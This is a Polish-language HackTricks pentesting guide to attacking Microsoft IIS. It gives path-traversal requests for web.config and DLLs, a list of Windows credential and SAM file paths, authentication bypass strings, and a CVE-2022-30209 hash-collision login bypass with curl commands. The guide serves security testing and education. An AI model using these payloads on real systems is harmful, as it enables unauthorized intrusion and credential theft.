IIS - Internet Information Services

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Testuj rozszerzenia plików wykonywalnych:

  • asp

  • aspx

  • config

  • php

Ujawnienie wewnętrznego adresu IP

Na każdym serwerze IIS, na którym otrzymasz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odpowiedź ujawniająca wewnętrzny adres IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Wykonywanie plików .config

Możesz przesyłać pliki .config i używać ich do wykonywania kodu. Jednym ze sposobów jest dodanie kodu na końcu pliku wewnątrz komentarza HTML: Pobierz przykład tutaj

Więcej informacji i technik dotyczących wykorzystania tej podatności tutaj

Bruteforce odkrywania IIS

Pobierz listę, którą stworzyłem:

19KB
iisfinal.txt

Została stworzona poprzez połączenie zawartości następujących list:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Użyj jej bez dodawania jakiegoś rozszerzenia, pliki, które go potrzebują, już je mają.

Przechodzenie po ścieżkach

Wyciekanie kodu źródłowego

Sprawdź pełny opis w: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Podsumowując, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do plików "assemblyIdentity" i "namespaces". Dzięki tym informacjom możliwe jest ustalenie gdzie znajdują się pliki wykonywalne i ich pobranie. Z pobranych Dll można również znaleźć nowe przestrzenie nazw, do których należy spróbować uzyskać dostęp i pobrać plik web.config, aby znaleźć nowe przestrzenie nazw i assemblyIdentity. Ponadto pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.\

W aplikacjach .Net MVC, plik web.config odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML "assemblyIdentity".

Eksploracja plików binarnych

Przykład dostępu do pliku web.config pokazano poniżej:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

To żądanie ujawnia różne ustawienia i zależności, takie jak:

  • EntityFramework wersja

  • AppSettings dla stron internetowych, walidacji klienta i JavaScript

  • System.web konfiguracje dla uwierzytelniania i czasu wykonywania

  • System.webServer ustawienia modułów

  • Runtime powiązania zestawów dla licznych bibliotek, takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze /bin aplikacji.

Pliki katalogu głównego

Pliki znajdujące się w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne dla konfiguracji i działania aplikacji.

Przestrzenie nazw i Web.Config

Aplikacje MVC definiują również dodatkowe web.config files dla specyficznych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Pobieranie DLL

Wzmianka o niestandardowej przestrzeni nazw sugeruje istnienie DLL o nazwie "WebApplication1" w katalogu /bin. Następnie pokazano żądanie pobrania WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

To sugeruje obecność innych istotnych DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.

W scenariuszu, w którym DLL importuje przestrzeń nazw o nazwie WebApplication1.Areas.Minded, atakujący może wywnioskować istnienie innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, zawierających specyficzne konfiguracje i odniesienia do innych DLL w folderze /bin. Na przykład, żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw, które wskazują na obecność innego DLL, WebApplication1.AdditionalFeatures.dll.

Common files

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

Jeśli zobaczysz błąd podobny do poniższego:

Oznacza to, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host. Aby uzyskać dostęp do strony internetowej, możesz spojrzeć na serwowany certyfikat SSL i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz poprawną.

Stare luki w IIS, na które warto zwrócić uwagę

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Możesz spróbować enumerować foldery i pliki w każdym odkrytym folderze (nawet jeśli wymaga to podstawowej autoryzacji) używając tej techniki. Głównym ograniczeniem tej techniki, jeśli serwer jest podatny, jest to, że może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.

Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner do testowania tej luki: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Oryginalne badania: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Możesz również użyć metasploit: use scanner/http/iis_shortname_scanner

Basic Authentication bypass

Obejdź podstawową autoryzację (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php

Możesz spróbować połączyćlukę z ostatnią, aby znaleźć nowe foldery i obejść autoryzację.

ASP.NET Trace.AXD enabled debugging

ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.

Zachowuje bardzo szczegółowy dziennik wszystkich żądań wysyłanych do aplikacji przez pewien czas.

Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszystkie ciasteczka żądań i odpowiedzi, ścieżki fizyczne, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH używa następujących informacji:

  • validationKey (string): klucz zakodowany w formacie hex do użycia w walidacji podpisu.

  • decryptionMethod (string): (domyślnie “AES”).

  • decryptionIV (string): wektor inicjalizacyjny zakodowany w formacie hex (domyślnie wektor zerowy).

  • decryptionKey (string): klucz zakodowany w formacie hex do użycia w deszyfrowaniu.

Jednak niektórzy ludzie będą używać domyślnych wartości tych parametrów i będą używać jako ciasteczka adresu e-mail użytkownika. Dlatego, jeśli możesz znaleźć stronę internetową korzystającą z tej samej platformy, która używa ciasteczka ASPXAUTH i utworzysz użytkownika z adresem e-mail użytkownika, którego chcesz udawać na serwerze pod atakiem, możesz być w stanie użyć ciasteczka z drugiego serwera w pierwszym i udawać użytkownika. Ten atak zadziałał w tym opisie.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Pełny raport tutaj: Błąd w kodzie nie sprawdzał poprawnie hasła podanego przez użytkownika, więc atakujący, którego hash hasła trafia na klucz, który już znajduje się w pamięci podręcznej, będzie mógł zalogować się jako ten użytkownik.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated